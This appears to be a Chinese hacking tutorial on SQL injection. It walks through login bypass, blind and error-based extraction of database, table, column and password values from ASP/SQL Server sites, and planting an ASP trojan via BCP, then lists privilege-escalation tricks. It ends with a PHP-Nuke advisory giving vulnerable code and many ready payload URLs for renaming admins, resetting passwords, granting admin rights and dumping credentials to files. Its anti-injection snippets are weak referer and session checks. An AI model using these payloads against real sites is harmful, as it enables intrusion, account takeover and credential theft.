  用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方
  法。
TOP

A、 注入法:  从理论上说,认证网页中会有型如:
  select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前
  ,没有进行必要的字符过滤,则很容易实施SQL注入。
  如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:
  select * from admin where username='abc’ or 1=1 and password='123’
  不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
  B、猜解法:
  基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜
  出表中的每个字段名,猜出表中的每条记录内容。
  a 猜解所有数据库名称
  HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where
  name>1 and dbid=6) <>0
  因为dbid的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1
  (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常,可得到第一个数据库名,同理把D
  BID分别改成7,8,9,10,11,12…就可得到所有数据库名。
  以下假设得到的数据库名是TestDB。
  b 猜解数据库中用户名表的名称
  猜解法:此方法就是根据个人的经验猜表名,一般来说,
  user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuse
  r,
  systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
  HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存
在,则news.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
  读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全
  部存放在此表中,而且此表可以通过WEB进行访问。
  当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以
  得到用户名表的名称,基本的实现方法是:
  ①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects
  where xtype='U' and status>0 )>0
  得到第一个用户建立表的名称,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现表的
  名称。假设发现的表名是xyz,则
  ②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects
  where xtype='U' and status>0 and
  name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
  根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
  c 猜解用户名字段及密码字段名称
  admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能
  得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
  猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,
  user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
  HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0
“select count(字段名) from 表名”
  语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个
  字段的名称。
  读取法:基本的实现方法是
  HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from
  TestDB.dbo.sysobjects)>0 。
  select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知
  表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。
  把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
  d 猜解用户名与密码
  猜用户名与密码的内容最常用也是最有效的方法有:
  ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然
  后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from
  TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username
  为用户名字段的名称,admin为表的名称),若x为某一值i且news.asp运行正常时,则i就是第一个用
  户名的长度。如:当输入
  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时
  news.asp运行正常,则第一个用户名的长度为8
  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n
  (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是
  1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i
  且news.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from
  TestDB.dbo.admin)=80时news.asp运行正常,则用户名的第三位为P(P的ASCII为80);HTTP://www.163.co
  m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33
  时news.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜
  出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具
  进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP://www.163.com
  /news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,
  flag是admin表中的一个字段,username是用户名字段,此时news.asp工作异常,但能得到Username的值
  。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
  猜用户密码:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from
  TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时news.asp工作
  异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到
表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
  HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'
  where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用
  同样的方法当然可把密码改原来的值。
  2、利用表内容导成文件功能
  SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张
  临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
  命令行格式如下:
bcp "select * from text..foo" queryout c:inetpubwwwroot163.asp –c –S localhost –U sa
  –P foobar
  ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个163.asp的木马)
  3、利用工具,如NBSI给出的一些参考数据最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
  最重要的一些用户名(默认sql数据库中存在着的)
  public
  dbo
  guest(一般禁止,或者没权限)
  db_sercurityadmin
  ab_dlladmin
  一些默认扩展
  xp_regaddmultistring
  xp_regdeletekey
  xp_regdeletevalue
  xp_regenumkeys
  xp_regenumvalues
  xp_regread
  xp_regremovemultistring
  xp_regwrite
xp_availablemedia 驱动器相关
  xp_dirtree 目录
  xp_enumdsn ODBC连接
  xp_loginconfig 服务器安全模式信息
  xp_makecab 创建压缩卷
  xp_ntsec_enumdomains domain信息
  xp_terminate_process 终端进程,给出一个PID
  (三)、得到系统的管理员权限
  ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限
  的方法有很多种:
  上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
  复制CMD.exe到scripts,人为制造UNICODE漏洞;
  下载SAM文件,破解并获取OS的所有用户名密码;
  等等,视系统的具体情况而定,可以采取不同的方法。
  那么我们怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如
  top.asp文件中开头
  方法一:
  
<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>
  (说明:只要有用户注入则跳转到../../目录,呵呵,看你怎么给我注入)
  方法二:
  
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black
bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=“font:9pt Verdana“>"
response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"
response.write "</td></tr></table></center>"
response.end
end if
%>
TOP

(说明:只要有用户注入则判断为外部连接哦,呵呵,看你怎么给我注入)  方法三:
<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>
  (说明:只要有用户注入则跳转到../(这个可以改为其它网站,或其它页面,给它们一点小的警告也
  行哦)目录,呵呵,看你怎么给我注入)
  黑客与安全是紧密的……
  攻击代码
  四、总结
  在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置
  的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦
  ,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们
  的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
  最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!
  SQL的Members_List、Your_Account模块中存在注入缺陷。如果magic_quotes_gpc选项为“OFF”,攻击者
  使用下列攻击方法及代码能利用该缺陷:
  PHP代码/位置:
?/modules/Members_List/index.php :
------------------------------------------------------------------------
[...]
$count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
$select = "select uid, name, uname, femail, url from
".$user_prefix."_users ";
$where = "where uname != Anonymous ";
if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname like ".$letter."% ";
} else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname REGEXP "^[1-9]" ";
} else {
$where .= "";
}
$sort = "order by $sortby";
$limit = " ASC LIMIT ".$min.", ".$max;
$count_result = sql_query($count.$where, $dbi);
$num_rows_per_order = mysql_result($count_result,0,0);
$result = sql_query($select.$where.$sort.$limit, $dbi) or die();
echo "<br>";
if ( $letter != "front" ) {
echo "<table width="100%" border="0"
cellspacing="1"><tr>n";
echo "<td BGCOLOR="$bgcolor4" align="center"><font
color="$textcolor2"><b>"._NICKNAME."</b></font></td>n";
echo "<td BGCOLOR="$bgcolor4" align="center"><font
color="$textcolor2"><b>"._REALNAME."</b></font></td>n";
echo "<td BGCOLOR="$bgcolor4" align="center"><font
color="$textcolor2"><b>"._EMAIL."</b></font></td>n";
echo "<td BGCOLOR="$bgcolor4" align="center"><font
color="$textcolor2"><b>"._URL."</b></font></td>n";
$cols = 4;
[...]
------------------------------------------------------------------------
/modules/Your_Account/index.php :
switch($op) {
[...]
case "mailpasswd":
mail_password($uname, $code);
break;
case "userinfo":
userinfo($uname, $bypass, $hid, $url);
break;
case "login":
login($uname, $pass);
break;
[...]
case "saveuser":
saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass,
$bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
break;
[...]
case "savehome":
savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson);
break;
case "savetheme":
savetheme($uid, $theme);
break;
[...]
case "savecomm":
savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
break;
[...]
}
------------------------------------------------------------------------
/modules/Your_Account/index.php :
[...]
function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass,
$vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
global $user, $Cookie, $userinfo, $EditedMessage, $user_prefix, $dbi,
$module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if (!eregi("http://";, $url)) {
$url = "http://$url";
}
if ((isset($pass)) && ("$pass" != "$vpass")) {
echo "<center>"._PASSDIFFERENT."</center>";
} elseif (($pass != "") && (strlen($pass) < $minpass)) {
echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b>
"._CHARLONG."</center>";
} else {
if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio =
FixQuotes($bio); }
if ($pass != "") {
Cookiedecode($user);
sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
$pass = md5($pass);
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, pass=$pass, bio=$bio ,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
$result = sql_query("select uid, uname, pass, storynum, umode, uorder,
thold, noscore, ublockon, theme from ".$user_prefix."_users where
uname=$uname and pass=$pass", $dbi);
if(sql_num_rows($result, $dbi)==1) {
$userinfo = sql_fetch_array($result, $dbi);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
} else {
echo "<center>"._SOMETHINGWRONG."</center><br>";
}
sql_query("UNLOCK TABLES", $dbi);
} else {
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, bio=$bio,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
if ($attach) {
$a = 1;
} else {
$a = 0;
}
}
Header("Location: modules.php?name=$module_name");
}
}
}
[...]
function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($ublockon)) $ublockon=1; else $ublockon=0;
$ublock = FixQuotes($ublock);
sql_query("update ".$user_prefix."_users set storynum=$storynum,
ublockon=$ublockon, ublock=$ublock, broadcast=$broadcast,
popmeson=$popmeson where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umod
e],
$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}
function savetheme($uid, $theme) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
sql_query("update ".$user_prefix."_users set theme=$theme where
uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name&theme=$theme");
}
}
[...]
function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore,
$commentmax) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($noscore)) $noscore=1; else $noscore=0;
sql_query("update ".$user_prefix."_users set umode=$umode,
uorder=$uorder, thold=$thold, noscore=$noscore,
commentmax=$commentmax where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],
$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],
$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}
[...]
------------------------------------------------------------------------
/modules/Your_Account/index.php :
[...]
function mail_password($uname, $code) {
global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi,
$module_name;
$result = sql_query("select email, pass from ".$user_prefix."_users
where (uname=$uname)", $dbi);
if(!$result) {
include("header.php");
OpenTable();
echo "<center>"._SORRYNOUSERINFO."</center>";
CloseTable();
include("footer.php");
[...]
------------------------------------------------------------------------
------------------------------------------------------------------------
[...]
function userinfo($uname, $bypass=0, $hid=0, $url=0) {
global $user, $Cookie, $sitename, $prefix, $user_prefix, $dbi, $admin,
$broadcast_msg, $my_headlines, $module_name;
$result = sql_query("select uid, femail, url, bio, user_avatar,
user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest,
user_sig, pass, newsletter from ".$user_prefix."_users where
uname=$uname", $dbi);
$userinfo = sql_fetch_array($result, $dbi);
[...]
------------------------------------------------------------------------
------------------------------------------------------------------------
[...]
function login($uname, $pass) {
global $setinfo, $user_prefix, $dbi, $module_name;
$result = sql_query("select pass, uid, storynum, umode, uorder, thold,
noscore, ublockon, theme, commentmax from ".$user_prefix."_users where
uname=$uname", $dbi);
$setinfo = sql_fetch_array($result, $dbi);
[...]
}
[...]
Members_List模块:
  - 显示用户:
  http://[target]/modules.php?name=Members_List&letter=All&sortby=pass
  - 显示用户:
http://[target]/modules.php?name=Members_List&letter=All&sortby=uid
  - 显示moderators :
http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=2/*
  - 显示管理员:
http://[target]/modules.php?name=Members_List&letter=%20OR%20user_level=4/*
  - 显示所有以“abc”开头的用户 :
http://[target]/modules.php?name=Members_List&letter=%20OR%20pass%20LIKE%20abc%25/*
  Your_Account模块 :
  - 将“Admind”用户更名为“Hophophop” :
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,name=Hophophop%20where%20u
name=Admin/*&uid=[OUR_UID]
  - 在md5_decrypted中将“Bob”的密码改为“d41d8cd98f00b204e9800998ecf8427e”:
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=saveuser&realname=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=saveuser&email=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
或:
http://[target]/modules.php?name=Your_Account&op=savehome&storynum=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=savecomm&umode=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID] 
  或:
http://[target]/modules.php?name=Your_Account&op=savecomm&thold=,
pass=d41d8cd98f00b204e9800998ecf8427e%20where%20uname=Bob/*&uid=[OUR_UID]
  - 将普通用户提升至管理员权限:
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=,user_level=4&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=saveuser&femail=,user_level=4&uid=[OUR_UID]
  或:
http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://,user_level=4&uid=[OUR_
  UID]
  或:
http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=,user_level=4&uid=[OUR_U
  ID]
  或:
  http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=,user_level=4&uid=[OUR_UID]

  - 将所有用户的电子邮件和crypted密码保存在http://[target]/AllMailPass.txt中 :
http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=)
%20OR%201=1%20INTO%20OUTFILE%20/[path/to/site]/AllMailPass.txt/*
  利用Cookie发送crypted密码能访问用户帐户。
  - 将用户的所有信息保存在http://[target]/admintxt中:
http://[target]/modules.php?name=Your_Account&op=login&uname=%20OR%user_level>
1%20INTO%20OUTFILE%20/[path/to/site]/admin.txt
  [path/to/site]能在http://[target]/modules/Forums/bb_smilies.php中查询到。
  在开发阶段堵住程序漏洞
  既然是程序的漏洞,那么我们就在开发阶段将它堵住
TOP